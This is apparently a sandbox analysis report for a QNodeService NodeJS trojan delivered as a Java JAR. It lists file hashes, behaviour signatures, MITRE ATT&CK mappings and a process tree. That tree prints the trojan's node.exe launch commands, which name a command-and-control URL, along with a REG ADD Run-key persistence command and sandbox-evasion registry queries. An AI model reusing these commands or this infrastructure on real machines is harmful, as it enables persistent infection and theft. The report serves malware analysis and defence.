qnodeservice | f0e9d3a5162ecadf7a48a64603e0d813ed45ff53882e63251e3f3c7c5a2e408b

General

Target

99dcdadfeed1b6271637cd158eddc785.jar
Size

11KB
MD5

99dcdadfeed1b6271637cd158eddc785
SHA1

4420bd2bb41db133243192337ff37a1b9a34414a
SHA256

f0e9d3a5162ecadf7a48a64603e0d813ed45ff53882e63251e3f3c7c5a2e408b
SHA512

4ca54d207a9ee57d14edd00d195bd2264443e2242fc6dce31eac2a2f0a33ce3d88e208819ef53aac874df6d52edbd041dde532f4a6266379ca7d7ea275f0126f

Score

10^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3612	node.exe
3612	node.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	wtfismyip.com
12	wtfismyip.com

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1620 wrote to memory of 4084	1620	java.exe	73
PID 1620 wrote to memory of 4084	1620	java.exe	73
PID 4084 wrote to memory of 2712	4084	node.exe	74
PID 4084 wrote to memory of 2712	4084	node.exe	74
PID 2712 wrote to memory of 2828	2712	cmd.exe	75
PID 2712 wrote to memory of 2828	2712	cmd.exe	75
PID 4084 wrote to memory of 3612	4084	node.exe	76
PID 4084 wrote to memory of 3612	4084	node.exe	76

Executes dropped EXE 2 IoCs

pid	Process
4084	node.exe
3612	node.exe

Loads dropped DLL 4 IoCs

pid	Process
3612	node.exe
3612	node.exe
3612	node.exe
3612	node.exe

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfa0-118.dat	family_qnodeservice

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-a553500b = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-a553500b.cmd\""	reg.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\99dcdadfeed1b6271637cd158eddc785.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:1620
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://richiealvin2020.casacam.net
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:4084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-a553500b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-a553500b.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-a553500b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-a553500b.cmd\""
      4⤵
      Adds Run entry to start application
      PID:2828
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://richiealvin2020.casacam.net
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Checks processor information in registry
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3612

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3612-123-0x000002C398D80000-0x000002C398D81000-memory.dmp

Filesize
4KB

Download
memory/4084-117-0x0000009ADF6C0000-0x0000009ADF6C1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing